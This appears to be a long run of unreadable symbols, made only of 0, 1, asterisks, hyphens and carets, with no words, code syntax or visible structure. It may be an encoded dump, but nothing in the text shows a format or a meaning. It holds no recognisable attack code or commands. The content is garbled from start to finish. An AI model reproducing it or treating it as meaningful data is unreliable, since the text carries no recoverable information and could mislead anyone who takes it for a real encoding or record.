1*11011*-----110--1*1101*-*11*001^1*-01*--------^10-*-00^1101**110-11*1*^1********--01*00^1101*01*1*-----110--^^11*-*11*001^1*^1101*****0010^^110-01*00^1^^1********0110-1*001*101*01*1*********10101*^-001**00--101011*001*001*1*-----110--*10-*-*11*001^1*^1101********0-*11*00^1*^1101*10-11**1*01*1*001*001^1*0-1*1011**011010-01*^1*0--------01^-*-00^1101*********10-1*00^1^^1*****01**00^11**01*101*01*1*-----10--^101**-*11*001^1*^110101*^1*****01**0011011**0^^1*01*1*1*^1*****01**0101011**0^^1*01*1**********11*^-001**00--110-*001*001*1*-----10--1011011*00-*11*001^1*10-*001*001^1*01011*1011*001101*--------1^-1*-0010-*-----10--1^^1*0-*11*001^1*0011*0-11*********^1*0^-001**00--1^11*001*001*1*-----10--^-01*0-*11*001^1*^1101*****00-^10--01*001*010^10-0010-11*-*001*1*001*001^1*10-*-----10--11*-*0-*11*001^1*0^1*-11*01^^110101******^1^1*101******1***0^1**1******1**010-1**0^1*******001*01*011*-1**11****011**1*-*0101*-**^^11010101011*01*00^-01********************01*001*01*11*00--------0^-1*-001011*0-11*-----10--^110101*-*11*001^1*1^1*-11*********^1*0^-001**00--^-*001*001*1*-----10----101*-*11*001^1**11*-11*001*001^1*^1*0-11*--------0^-1*-*0-*-11*-----10---001011*-*11*001^1**11**********1*0--00^101^-*1*1*0^1*0--------00110-*-001*^1********^-01*001*011*01*1*-----10--11*-1*-*11*001^1*-01**********1*0^-001**00--10-1*001*001*1*--------11***-*11*001^1*1*^-1*10-11*1101*01*1*001*001^1**11*0101*00101******0011*1101^-0--------^10-*-00^1101*****00^1*1011011**0^1^^10^1*-11*0101*01*1*--------*101*00-*11*001^1*0-*0-11*********^1*0^-001**00---101*001*001*1*--------110-*00-*11*001^1*110110^1011*1*^--^-11*^1*01*1*001*001^1*^11*0011*001**--------0^-1*-*1101*-11*--------1010101*0-*11*001^1*^110101*^1*11**1*01*1*1*^11*1*-11**1*01*1*********1*1*^-001**00--1*11*001*001*1*--------*0-*0-*11*001^1*^1101*****00^10-0011*1*001*010^^110^-11*-*001*1*001*001^1*01101******001**0011******001***101011*****01**010-001*****001***1*1********011*11*****01***1^11********010^1******1**1*001********001*001*********00-*****01***101******001**0-011******1**1*001******1****01********1011011*****001**0^101******1**001*01******1**00-******01**0^10-********01*001*****001**101011******1**0-^1*******************010^1*****001***1*01********10101*********^-01********1*0101********-011********0010-*101*^11*001*1*011*001^1*00-*0011*01^1*001*******0-11010--01101*01^1*001****01**0-010^--00101*01^1*001****01**0^110^--0^1*01^1*001****01**001**0--*01*01^1*001****01*****0--0-*001^1*001*******-1*10--001101*01^1*********1***-001*1***001**011*011*****011**0-11***0011***1^1^1******001010^110101******0101^1*101******1**0-01**001******1**010^11**1*1101*011**1*10-**01101*011**101*01*******0011**1011*-101*01**--------110-1*0-001011*0^1*0-11*--------11*001*-001011*010-*--------0010-1*-00^11*--------*0^1*-001011*011011*********-*00^-001**00---101*-*00--------*00101*-001011*01*^11*-0-11*101*001*1*1101*0-01*--------0010-1*-*1101*--------1^1101*-001011*00-1*********-*00^-001**00--101101*-*00--------11*011*-001011*0110110^1011*1*^--110-11*001*001*1*1101*001101*********-1*********010^1********00-0101********************^1********0-^1********0-^1********0-1*********0-^1********00^11*********101*0101*10^1*01011**-*101*001^1*001****01**0-010^--*1*001^1*001****01*****0--001101*01^1*********1***-001*1***001**001*011********010-01***11***1^1^1*1*******0010101*11011*1**0-1*0^1101***01101101************1*1********1010^-***************************************************************101*00101*^101*01*1*0101*01^1*01101***********0010-0-101*0011****011**0011*1*101*^11*1*110101^-011*1*001********************11*01*0^-01*01^1********0011011*10-0-101*00101^101101*110101*******10101*101******1**01*1011*001******1**001*101*001*01**11*00--------11*011*-*001*01^1**11*0101*00101^1*11010-01*101*00110101*******10101*101******1***110101*001******1**0-11011*00^11**01*********************^11*******************00-1********************^11*********11*00101*1*01*01*1**1*01^1*^11*--------01*11*0-*01*001^1*00-**********1**0-00--------1^-1*-00-01*--------1010-*0-*01*001^1*^1101********00^^1*00^1*^1*****01**01101***^101*001*1*********10101*^-001**00---101**1*0--------1^^1*-*01*001^1*^1101*****00110-110-01**01*010^1*11*-11*011*001*1*0011*0-01*--------1^-1*-*-1*--------10110101*-*01*001^1*^1101********001*101*00^1*^1*****01**0-*11*00^101*001*1*********10101*^-001**00--101101**1*0--------110^11*-*01*001^1*-01*0011*001101*********01*01********00-01*********101*********001*01*******************01^11********00-01********001101011********001**********^1*0101*1*1*001*1*001*001^1*01011*011*001^1*001*******-1*10--0101*001^1*001*******0-11010--001101*01^1*********1***-001*1***001**01*0011*****01**0010^1***101***1^11011*1*******0010101**1*01***10101*10^1****0011************1*1**001010^^1**************************************************************00101*00101*101011*01*1*1011*01^1**11***********0010-0-011**101*01^1*********001*010-0-011*0110101******101*01*101******01**0101011**1******01**110-1**1*11****001***1^1*10^^11*01*11011**-1^1*0011**1*0101****^1*--------0^^1*-001101*01^1*11011*01^1*11*******010101*00101*1101*00101*01**0^1*1**00^1****^1*01101*00101*110101******0-*1*101*********0010-*001*********1^-*001*11****001***1^1*10^10-*01*11011**10-00--**001*0101*110101******-1*1*101*********001*1*001*********10^11*001*11****01**01*001*0101*0101*11011010^1*0010^110-0-*001*1101*00101*********-^1********0-*1********01011011****************************************0011*00101*101101*01*1*1101*01^1*-01*---------1101*0-*11*001^1*110110^1011*1*^-110110-11*-*001*1*********0-**0-00--------1^-1*-*-1*--------*-1*0-*11*001^1*01101**********1*0^-001**00---101*001*001*1*--------0101*1*-*11*001^1*11011*001*001^1*-01*--------01^-*-00^1101******0011*****01*010^1********-11011*00^^1*01*1*--------*10101*-*11*001^1*^1101*****0010-0-^1101*001*010^110101010-11**1*01*1*********0^1*^-001**00--101101*001*001*1*--------001*11*-*11*001^1*1101101*011*1*^1*10^-11*-*001*1*001*001^1*01101**********1011**********01**********01********0110^1****************************************01*1*********11*11********0^1*0101*^11*001*1*011*001^1*01011*^1*01^1*001*******010101010--*01*01^1*001*******-1*10--0-*001^1*001****01*****0--001101*01^1*********1***-001*1***001****011*****01***-11***^1**001^11011*1*******0010101*011*001**00-001*00^1***-1101************1*1**********0010101***********010-01101^1*********11*0010-0--------11*-1*0-00-*001^1*^1101**********-*00^1*^1*****01**001*01**1*001*01*1*01^1*11*******^101*0010^110101******0-*1*101**********^1*001*********-^1*001*11****011**1*-*0101*-**^^1101010-010-*00^-01********************01*001*01*1**--------1^-1*-00^11*--------10-101*-00-*001^1*^1101******-1^1011011**^1^^1*****01**01101011**^101*001*1*********10101*^-00110101******-01101*10^^^10-11*-10^-11*01*********************10101********00^1011********0010101*******************0^1011********0011*00101*10-*001*1*-*001^1*-01*--------01^11*0-*011**011*********-**00-00--------11010-*-00^110^10^10-11*1*^1********^^11*00^^1*0--------1**1*-*011*0^1101*****00^-10110101**0^1^^1^11010-11*101*001*1*********1*1*^-001**00---101*011*00--------1101^1*-*011*0-01*0101*0-01*--------01010-*-00^1101********011*101*00^1*^1^^10-11*001*001*1*--------00101101*-*011*0^1101*********-011*00^1*^-001010-11*^1**********001*^-001**00--101101*011*00--------101^11*-*011*0^11*0101*001101*******************00110-*********0^11********00^11********00^1011********0^1011********0^1*********0110-********00110-********00^1*0101*1*01**11*00-1*101*001^1*001****01**0^110^--*1*001^1*001****01*****0--01011**1****01**0-010^--*01*01^1*001*******0-11010--001101*01^1*********1***-001*1***001**0--01*****01**01010101***101***1^11011*********01010^-----^--*0011*0-*11*001^1*0^1*-11*-----^--^1011*0-*11*001^1*0-*0-11*--------0^-1*-**0^-11*-----^--^-1*0-*11*001^1*^1101*****00101011*-0-*001*010^10-1*-11*-*001*1*********0^1*^-001**00---01*0-11*001*001*1*-----^--0110^1*-*11*001^1*10-*001*001^1*-01*--------1^-1*-0010-*-----^---00101*-*11*001^1*1*^-1*10-11*0101*01*1*********0011*0^-001**00--101101*001*001*1*-----^--10-101*-*11*001^1*1*^1*10^-11*0101*01*1*001*001^1*^1*0-11*-----^--101^11*-*11*001^1*^1101*********001101*00^1*^1********011*11*00^1011*01*1*110101******011**0010^110^10-11***10-11*11**01101*^1*001101**010^1**--------0^-1*-**1*-11*-----^--*-11*-*11*001^1*01101*-11*********^1*0^-001**00--10-1*001*001*1*-----110--1101**0-*11*001^1*00-*-11*001*001^1*0-1*1011*011011******011**1011*1*11010-01*^11010-01**1*0--------0^-1*-*0-*-11*-----110--^101*00-*11*001^1*1101*0-11*********^1*0^-001**00--110-*001*001*1*-----110--00-1*00-*11*001^1*0101*0-11*001*001^1*^11*1101*0110101******011*11*101******1**0-11**001******1**0011011**01*1101**010^1**--------0^-1*-*101*0-11*-----110--01*11*0-*11*001^1*11011010^1*0-11*1*^10-1*^1*01*1*********0-*0^-001**00--1*11*001*001*1*-----110--010-1*0-*11*001^1*1*0^-11*001*001^1*00-*--------^10-*-00^1101**110-11*1*^1********101*11*00^1101*01*1*-----110--0110^1*-*11*001^1*-01**********1*00-11*11*0011**--------0^-1*-001*0^-11*-----110--00110101*-*11*001^1*^1101*****0010^10-*101*00^1^^1*****01**01^-**1*001*01*1*********10101*^-001**00---011*001*001*1*-----110--110^11*-*11*001^1*-11*-11*001*001^1*01011*0011*0^11010-**11*00--------0^-1*-00-11*-11*-----110--01*-*-*11*001^1*^1101*-^-11*1*^1********^^11*00^1011*01*1*********0^1*^-001**00--1^11*001*001*1*-----110--0--1*-*11*001^1**11*001*001^1*0101*0-11*-----10--10101**0-*11*001^1*^1101*****001101**1011**01*010^1*****001**101011**01*011*01*1*110101******011**00101******1**010-001*001******1**00110^1*00^^1101011**011*0011**^1**011010-01*11***010^1**--------1^-1*-*0011*-----10--10-11*00-*11*001^1*10-*-11*********^1*0^-001**00--1^1*0-11*001*001*1*-----10--10^101*0-*11*001^1*^11010110^10-11*1*^1*****01**0011***0^1101*01*1*001*001^1*11011*--------1^-1*-0011011*-----10--11011011*0-*11*001^1*^1101********010101011*00^1*^10-1^-11*0101*01*1*********0^1*--00-*0011**--------0^-1*-*0101*-11*-----10--11011*1*-*11*001^1*01011**********1*0^-001**00--101011*001*001*1*-----10----001*-*11*001^1**11*-11*001*001^1*1101*0-11*1*1010^1*001**--------00110-*-001*^1********^-01*00^^1*01*1*-----10--^-101*-*11*001^1*11011*-11*********^1*0^-001**00--10101*0-11*001*001*1*-----10--1*01011*-*11*001^1*^11*001*001^1**11*0101*0110101******--01*101******01**-*11*001******01**1*0-*001*1101**010^1**--------1^-1*-00^11*-----10--^10-1*-*11*001^1*0-1*-11*********^1*0^-001**00---101*001*001*1*---------**00-*11*001^1*^1101******-01101010^1*00^1^^1*****01**0^1101**1*001*01*1*001*001^1*10-*010-^101****1***1*101^-0011****011**0011*1*101*^11*1*110101^--*1*001*******************011**1*0^^11*--------^10-*-00^1101*10^^1*10-11*-*001*1*0010^^1*10-11*-*001*1*--------^^1*0-*11*001^1*^1101******110--01*1*001*010^-01*0-11*-*001*1*********0^1*^-001**00--^-*001*001*1*--------10^11*0-*11*001^1**00^-11*001*001^1*01101******01**0-0-1*****011***1******001**001^101********11*001*****01**0^-******01**01^11********001*011*****001**01101******01**00101*********00^1011*****001***01011*****001****01*****001**00^101*****01**0-11******001**-1*1********0011******001**00110^1*****001**00101101*****001**--11*****011**1*1******001**--11********101*11*****001**-^1******1**101011****************001**0-0011******1**11011011*****01***1^11*********-********0011010-********1*0101*****01**01^-*****001**011010-********0101011********001*^101*^11*001*1*011*001^1*^1*0-11*1011*01^1*001****01**0-010^--*11*01^1*001*******010101010--01101*01^1*001****01**001**0--00101*01^1*001****01*****0--0^1*01^1*001*******0-11010--*01*01^1*001****01**0^110^--0-*001^1*001*******-1*10--001101*01^1*********1***-001*1***001**00-1101*****011**10-011***001**001^1^1******0010101*11*00-----110--101101*00-00101*001^1*110110^-1*1*^-010^-11*1101*01*1*-----110--110-*00-00101*001^1*11011*-11*--------0^-1*-*011*0-11*-----110--110^1*0-00101*001^1*00101*-11*********^1*0^-001**00--10-1*^1*0-----110--10-01*0-00101*001^1*110110^1011*1*^-*010-11**1*01*1*1011*0-01*--------0^-1*-001*1*-11*-----110--0010-*0-00101*001^1*^1101*****00-0^1011*11*001*010^1********01*101*001*101*01*1*********10101*^-001**00--101101*^1*0-----110--0^^1*-00101*001^1*^1101*********1^11*00^1*^11*0110-11*1101*01*1*1011**-*-----110--01^101*-00101*001^1*^11010110-10-11*1*^11*1010-11*-*001*1*00-00-0101******^-01*101******01**1010^1*001******01**1011*1*001*11****011**01*01*0101******11**110^1**1******11**00-11**1******01**11***001*001*0-**11*00--------01^-*-00^1101******011*-01^1*001*010^1*****001**001011**01*101*01*1*-----110---10-*-00101*001^1*1011*0-11*********^1*0^-001**00---011*^1*0-----10--11***0-00101*001^1*-1*0-11*1011*0^11*1101*001101*--------0^-1*-00-1*0-11*-----10--110101**-00101*001^1*1101*0-11*********^1*0^-001**00--1*11*^1*0-----10---^1*00-00101*001^1**11*1011*010-*1101**011010-01*-*00--------1^-1*-*0011*-----10---0-*00-00101*001^1*0101101010-*1*^1********-01101*00^-*001*1*********1*1*^-001**00--^-*^1*0-----10--11010101*0-00101*001^1*0101*0-11*1011*001011*-----10--1*0011*0-00101*001^1*^1101*********^-*00^1*^1********10-001*00^-*001*1*--------0^-1*-*101*0-11*-----10--^-11*0-00101*001^1*^1101******1*--0101**^1^^1*****01**0-011**0^^1*01*1*********10101*^-001**00--1^11*^1*0-----10--10101^1*-00101*001^1*00-*1011*00-1*--------01^-*-00^1101*********-101*00^1*^1*****01**01010101**1*11*001*1*-----10---101101*-00101*001^1*1*^1********^1^1*001*001*01*1*********-1*00-1^^11010-01*^101^-*1011*00-*00--------1^-1*-*0-*-----10---101011*-00101*001^1*-01**********1*0^-001**00--110-*^1*0-----10--1*10-*-00101*001^1*01101*-11*1011**011*0101*01*******001*0^1011*-01101*011*110101******0^-*0101*0-110-11*01011*-11*01**--------10110-*-00^1101010101*-11*1*^1^11**1*01*1*--------1*1**-00101*001^1*-01*-11*********^1*0^-001**00---101*^1*0--------11*1*00-00101*001^1*0-1*1011*011011*--------101101*00-00101*001^1**11010^1*0-11*1*^1*01010-11*-*001*1*0011*0110101******11*001*101******11**010101**01******11**011*1**1*0011*0101101*011*-**1**--------01010-*-001101101010-*1*^1********110-01*00^-*001*1*--------*0011*0-00101*001^1*^1101*********1*01*00^1*^1*****01***1101**01*11*001*1*********10101*^-001**00--101011*^1*0--------0--*0-00101*001^1*0011*0-11*1011*001101******001**00-01*****001**0-0-1********00-01********010^-********001*01********1*0101********1101*******1**101*1*****001**0^101******01**001101******01**001101******01**00-******01***01*1*****01***10101*****001**010110101*****001**0-001*****001**0110-1*****001***1011*******************001^11*********0-********00-10-*****01**011*-*****01***1011******1***101******01**001*11*********0-01********0110^1********00-*101*10101*001*1*101*001^1*^1*0-11*1101*01^1*001*******0-11010--00101*01^1*001*******010101010--0^1*01^1*001****01**0^110^--*01*01^1*001****01**0-010^--0-*001^1*001****01*****0--0011*001^1*001****01**001**0--001101*01^1*********1***-001*1***001**010-101*****011**0101*****1**001^1^1****10101*01****01***101^10-1^1101*01**001****01**01^1^10-1^101*******00110^--001**001****01**00^1^10-11011**01*****1101*01^1*********1***-*101*1*****0010101*101*******0-001*101*01****01**001010^110-^1**--------*10-*-00^1101******1*1^101*1*001*010^1*****01**00101011**^^1*0-----10--1101^11*-001101**011*********-*00^-*101*******0-01*0101*101*******00110^--*1****01**001010^110-^1**0101*******0-001*101*01****01**001^^110-^1**--------*10-*-00^1101******-010^1011**01*010^1*****01**01*-1*00^^1*0--------011**00-001101*0^110101*^1*********1^1*001*001*01*^1*****01**01010-**1*001*********010101*^-*11****01**010-001*101******01**11*01**1******01**0-001**1*101*******00110^--*1****01**001^^110-^1**011*******00-11*0101******11**^11**001******11**--**01*01****01***010^110-^1**--------01^-*-00^110101*^1********-10-*001*001*01*^1*****01**01*-1*001*001*0--------11*11*0-001101*001101*********-*00^-*11****01**010-001*101******11**001*1**1******11**^^1**1*101*******00110^--*1****01***010^110-^1**011*******00-11*0101******1***0-01*001******1**00-^1*001*01****01***^^110-^1**--------0010-1*-0010-*--------00^101*-001101*001011*********-*00^-*11****01**010-001*101********0010101011*001*********0011011*001*101*******00110^--*1****01***^^110-^1**********01101011*****01**0-1******001**001011**********0^1********1*001*******************1*0-********001101*********1101011*****01**0-1********************110-1*********11*0101*10-*001101**-*1011**1*******010101010--*11**1*******0-11010--001101*01^1*********1***-001*1***001***-101*****01**001^11***101***1^1^1******0010101*01****01**001010^10-1^11*****1*0011*011*101*01****01**011010^110-^1**001****001**11*0^--001**001****01**011010^10-110^101^-*1101**1**011*****1**-1101*101*01****01**0^10^110-^1**001****01***010^110-^1**01101*101**01****001**01*0^--*1****01***010^10-1^11****001****11*101********00-10-*001********00^1*1*001*01****01**0^10^110-^1**01**001****01**0^10^10-110^101^-*1101**1**1101101*110^101**11****001**1*1**101******01**00110101*001******01**10-001*001*01****01**0-00^110-^1**001****01**001^^110-^1**01101*001**01****01**001^^10-1^11****001****11*101******11**011*01*001******11***00-*001*01****01**0-00^110-^1**01**001****01**0-00^10-110^101^-*^1**1**1*001*1101*01**11****001**1*1**101******11**1^1101*001******11**01*001*001*01****01**010^^110-^1**001****01***^^110-^1**01101*11**001****01***^^10-1^11****001****11*101******1**00101^1*001******1***--*001*01****01**010^^110-^1**01**001****01**010^^10-110^101^-*-**01**1*001*110^11**001****01**001*^10-110110101*******1^1*101******11**-0101**1******11**010101**01*11*****1**101**0101*1********00-*00101^1****001**0011*00--001**001****01**011*^10-11*1****01**00-1*0--001**01********00-010101*0--101*****1101*01^1*1**110101****************001**001*1***0-***1^1^1*010101*01****01**01*0^10-11*1**1**001****01****^10-11011**01*****1101*01^1*********1***-*-101********0010101*01****01**0-11***01**11****010101***001*01****01**00-1***0-101*001****01**010-***0-101*--------001**00-001101*0^11010^10^-11*1*^101*110-11**1**1****01***-***01011*******011**00101*1101*-*001011010101*01101^11**^110-10-11*001****01**011011***01011****011**1*-*0101*-**^^11010101^10101*00^-01*******************00-1*01*0^--------00-1*00-001101*0^1101*****00101*00-^11*001*010^101^110-11*^1**1****01**001011***01011****01**01*001*0101*0101*11011010^1*0010^11*-01*001*0-*00101*001****01**0^11***01011****011**10-001*10^1101**-^1^^1*^1**1*0101*^11*-11*-11*--------1*-*0-001101*010-*001****01***011***01011****011**0011*1*101*^11*1*11*1^-10^11*001********************1*001*01*1011*001****01**0-01***01011****001***1^1*10^10-*01*11011**-1^10-1011*001*0101*--------01*101*-001101*01*^-110110-11**1**1****01**001101***01011*******00101011*10^^-*011*001^10-00101**1*1011*********00110-*001*01****01**010101***01011****01***001101*101******1**0^1***1******1**011***00^101^^1*01*1*10110^1**1********00^1011********0^11*********0-^1*********-*********1101011*******************00-*********0110-*********1*0101*10-*001101**011*1011**1*******-1*10--*11**1****01*****0--***01101*01^1*********1***-001*1***001***-101*****01**0^101***0101***1^1^1******0-----10-----*-00101*001^1*1*^1*****01**0101***01*001*01*1*01010^1*****1**001**1010-0-*00--------1^-1*-0010-*--------11011**-00101*001^1*^110101*^1*****01**0101*1**1*001*01*1*1*^1*****01**0101*1**1*001*01*1**********11*--00^11010^1*01101101*011**1******0011***0011**^1011******0011**1^1**001*011*******11***0011*001*101**011010-01*011*00--------0^101*0-00101*001^1*0-1*1101*00101****1**00---11011011**11011******011**0011*101**---------0011*0-00101*001^1*^110101*^-011*-11**1*01*1*1*^1********001^11*001*001*01*1*1101**101*--------0^-1*-00^1*0-11*--------101*01*-00101*001^1*^1101*******^^1***01*010^1*****01***^-*00^-*001*1*********10101*********1**0101*101*01^11*00^11010-10^-11*1*0110101**01*00--------11010101*-00101*001^1*10-*0101*001101*--------10101101*-00101*001^1*^110^10-00-11*1*^1********0101*1*001*11*001*1*01^1*11****011**1*1**01011*********11*********01^11********0110-1********001*1********00-^1********0--01********1*101********001*1*******************************-01********1101*0101*10101*001*1*********110^1*0-*001*01^1*001*******0-11010--0-*001^1*001*******010101010--0011*001^1*001****01**0-010^--001101*01^1*********1***-001*1***001**0110-01*****01**001*1****1***1^1^1*--------01*1*00-00101*001^1*-01*01010^11011******001**0010-0-*00--------1^-1*-00-01*---------011*00-00101*001^1*^1101*****001101011*10-1*001*010^1********11*011*00^-*001*1*********10101*--00^11010^1*01101101*011**1*******1**00^-*00^1011******001***-101*001*011******00101**00^11*001*101**011010-01*011*00--------1101011*0-00101*001^1*^11*1101*00101****1**0-0^1*10^11011******00-**11*-**11011******011**0011*101**--------101*01*-00101*001^1*^11*1101**101*--------1^-1*-*1101*--------1010^1*-00101*001^1**11**********1*********01**0101*101*01^11*00^110101^-0-11*1*0110101**01*00--------0-0101*-00101*001^1*-01*0101*001101*--------*-01*-00101*001^1*^1101*-110-11*1*^1**10-11*011*001*1*01^1*11****011***01**01011**********1********010101**********^1*******************00-001********11*101********11*101********01*11********00-11********00-11**********^1********01101*0101*10101*001*1**********^1*0-00-*001^1*001*******010101010--0011*001^1*001****01*****0--001101*01^1*********1***-001*1***001**0010-01*********-11***01***1^1^1*--------**1*0-*10101*1^1*11****011**-1**001011********-**********11*******************************-*********00101*00101*10^1*01*1*^1*01^1**11*01010^--------0^11*00-*01*001^1*^1101*****00^10-101011**01*010^1********01^101*00^-*001*1*--------01^-*-00^1101********0011*01*00^1*^1********0011*1*001*11*001*1*--------0101101*0-*01*001^1*11011**********1*010-^^110^10110^101*0-11**1*0-*******-1*00-011**^1101******001**01101*1*001*011******001**0011***01*101**011010-01*011**101****1**0^-0-11011011011******00-**11*-**11011******011**0011*101**--------1^^1*-*01*001^1*^1101*****00-*101010^1*00^1^^1********-10101*00^101*001*1*--------1^-1*-*0-*--------0-0101*-*01*001^1*01011**********1*********01**0101*101*01^11*00^1101*101010-11*1*011*1*00101*00---------*11*-*01*001^1*^11*0101*001101*********0101*1******************00-^1********00-11*********101*1********^101*********101*********0^1101********0-1^1********0-11*********101*0101*1*1*001*1*001*001^1*0-1*-*001^1*001*******-1*10--0011*001^1*001****01**0-010^--0101*001^1*001****01**0^110^--001101*01^1*********1***-001*1***001**0^-01*****01***011***00101***1^1^1***00---------**00-*01*001^1*10-*01010^1*******0011**1010-0-*00--------1^-1*-0010-*--------00-**-*01*001^1*^1101******10-00101*1**1*010^1********101*01*001*11*001*1*********10101*010-0010-01*011**1*0--------^-*00-*01*001^1*^1101******001^1*0011**1*010^1*****01**01^11**01*11*001*1*0011**01101*01*011**0011*00101101010^^11**0101**011010-01*011*00--------0101101*0-*01*001^1*01011*1101*00101*******01*10-1011011011******011**0011*101**--------0-011*0-*01*001^1*01011*1101**101*--------01^-*-00^1101*******00-101***1*010^1*****01**01^1**001*11*001*1*--------1101*1*-*01*001^1*^1101********01*^1*00^1*^1*********^11*00^101*001*1*********10101*********1**0101*101*01^11*00^110101*1010-11*1*011*1*0011**--------1*1101*-*01*001^1*10-*0101*001101*--------110-01*-*01*001^1*00-*01^1*11****011**0-**001011********1101101*********00^1******************001^101*********011*********0-*********01^-********0-1011********01*101********0-0-********01^1101********010-01********0011*0101*1*1*001*1*********101*1*0-*11*001^1*001*******010101010--0101*001^1*001*******0-11010--001101*01^1*********1***-001*1***001***0-01*****01**01^1***0011***01^1^1*********-----10---110-*-00101*001^1*^1101******-00110-1011*00^1^^1********0010^1*00^-*001*1*01010^-*00--------011**00-00101*001^1**11*--------1^-1*-*1011*--------00101**-00101*001^1*^1101*****001*-10110-1*001*010^1********-0^1*00^^1*01*1*********10101*10-^^110^10110^101*0-11*^1**01*******0011*001^1**1*011*******1**0-011**^1011******001**00-101**1*101**011010-01*011*00--------^^1*0-00101*001^1*11011*1101*00101****1**01011010-11011011011******011**0011*101**--------10-01*0-00101*001^1*11011010^11*1*^1********-00101*001*11*001*1*1101*01101*0-11*--------^10-*-00^110101*^1^10^-11**1*01*1*1*^--010-11**1*01*1*--------1**1*-00101*001^1*^1101******00^^--1*00^1^^1********--11*00^-*001*1*********10101*********1**0101*101*01^11*00^1101*10-0-11*1*011011**001*00---------00101*-00101*001^1**11*0101*001101*--------1*1101*-00101*001^1*^110101*^10-1*-11*011*001*1*1*^-00-0-11*011*001*1*01^1*11****011**1011**001011*********11**********11**********************1********0011011********0110-01**********01********11*011********1101101********001*1*********001101********0101*11********0011*0101*10101*001*1*********-^1*0-00^1*01^1*001*******-1*10--*01*01^1*001****01**001**0--0-*001^1*001****01**0^110^--0011*001^1*001****01*****0--001101*01^1*********1***-001*1***001**0-01101*****01**0^-***0101***1^1^1****10101*01****01**01*1*10-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01****01**01*1*110-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01****01***001*10-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01****01***001*110-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01****01**0-1*010-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01****01**0-1*0110-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01****01**00-*010-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01****01**00-*0110-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01****01**01011*010-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01****01**01011*0110-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1****10101*01****01***11*010-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01****01***11*0110-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1*********010101*11****011**0011**0101*11**-*001**011****011**0101**010^101**-*001**011****011***1**0101*01**-*001**011****011**011**0010^101**1**011****011**001**00101*01**1**011****011**01***10^11**01**0101******0011*01*0101*1*****1101*01^1*********1***-*^---------110101**-001011*001011*01010^1*****1**011**0010-0-*00--------11*1*00-001011*0^1101********00-^1*00^1*^10101*0-11*001*001*1*--------01010-*-00^1101*****00-1*11*1**001*010^1101^10-11*011*001*1*--------001*1*0-001011*0^1101******-*0^^1**^1^^1********^-11*00^101*001*1*********00101*^-0010-01*011**1101*1**101101010^1*01**101**011010-01*011*00--------*1011*0-001011*01*^11*-0-11*001*001*1*1101*00101****01**1**0-1011011011******00-**11*-**11011******011**0011*101**--------101*01*-001011*001101*1101**101*--------10110-*-00^110^1010110-11*1*^110^^-11*001*001*1*--------1101^1*-001011*01101*0-11**********1*********01**0101*101*01^11*00^1101010-110-11*1*011*1*00101*00--------00101101*-001011*001011*0101*001101*--------10-101*-001011*0^11*01^1*11****001**--11*01011********00-1*******************00-0101********101*1********0-00101********00-1*********1^11********001101*********1011*********001^11********00110^1********01*11*********11*0101*10^1*********011*01*0-*11*001^1*001*******-1*10--0101*001^1*001****01**0^110^--*1*001^1*001****01**0-010^--001101*01^1*********1***-001*1***001**001101101*****01***11****11***01^1^1******0--------11011**-001011*0^1*0-11*01010^1*******001*011*10-0-*00--------010101*00-001011*0^1101******-01010-1**001*010^101*^-11*101*001*1*--------0010-1*-*1011*--------1*001*0-001011*001101*********-*00^-0010-01*011**11010101**101101010^^101**101**011010-01*011*00--------*1101*0-001011*0^11010101*10-11*1*^1********101*01*001*11*001*1*1101*00101****1**01**0-1011*1*0011**11011******011**0011*101**---------0-*0-001011*011011*1101**101*---------00-*-00^1101******00110-0-11**1*010^1*****01**00-***^101*001*1*--------1^^1*-001011*01*^1********-01101*001*01*001*1*********0-*********01**0101*101*01^11*00^1101010110^-11*1*0110101**01**-*0--------1^1101*-001011*0^1*0-11*0101*001101*--------10-101*-001011**-*01^1*11****001**0--1*01011********1011********************-01*********-00101********0^-********01011*********00^-**********101********1^101********0010^1********0-00101********-1*1********0011*0101*10^1*********011*01*0-*11*001^1*001****01**0-010^--0101*001^1*001*******010101010--*1*001^1*001****01*****0--001101*01^1*********1***-001*1******0-0-1*****01**0011*****1***1^1^1*********--------00-**-00101*001^1*-01*01010^1*******0011**1010-0-*00--------110101*00-00101*001^1*-01*--------1^-1*-0010-*--------^-*00-00101*001^1*^1101*****00^1*1*0-**1*010^1^1*0-11**1*01*1*********0^1*10-^^110^101101*011*^1**01*******11***0101*001*011******0011***0101**^1011******001**0101*1**1*101**011010-01*011*00--------0101011*0-00101*001^1*01011010^11*1*^11*0110-11*-*001*1*1101*00101******0011010-*101*1**----------1*0-00101*001^1*^1*0-11*1101**101*--------1^-1*-*1011*--------*0^1*-00101*001^1*0101*0-11*********^1*********01**0101*101*01^11*00^110^1101*-11*1*011*1*0011**--------01010101*-00101*001^1*1*^1*****01**0-0^1*001*11*001*1*0101*001101*--------110-01*-00101*001^1*11011*01^1*11****001**10--*01011********0110^1********--********00-1101*******************0-^1********10^101********0-*********0010^1********0010^1********00110^1********-11*********010^1*********11*0101*10101*001*1*********101*1*0-*001*01^1*001*******-1*10--0-*001^1*001****01**001**0--0011*001^1*001*******0-11010--001101*01^1*********1***-001*1***001**0011*******1**0101****0101***1^1^1*********---------01**-*11*001^1*-01*01010^-*00--------1^-1*-00-01*---------001*00-*11*001^1*^1101*****00-1*0^101**01*010^1*****01**00-^1*001*101*01*1*********10101*--00^1101*1*001*1*11011010^11*^1*01^1*-11*001*001^1**01*-11*1011*0^-00-11*0101**011010-01*011*00--------0010101*0-*11*001^1*00-*1101*00101*******1^-*101*1**--------11*11*0-*11*001^1*^1101*****00110-11*011**01*010^1*11*-11*^1*01*1*1101**01*01********10^1010101*0--101**0^1*--------^10-*-00^1101*1^10-11*1*^1*****01**001011**001*001*01*1*---------1*1*-*11*001^1*^11**********1*********01**0101*101*01^11*00^1101*001*-11*1*011*1*0011**--------*10101*-*11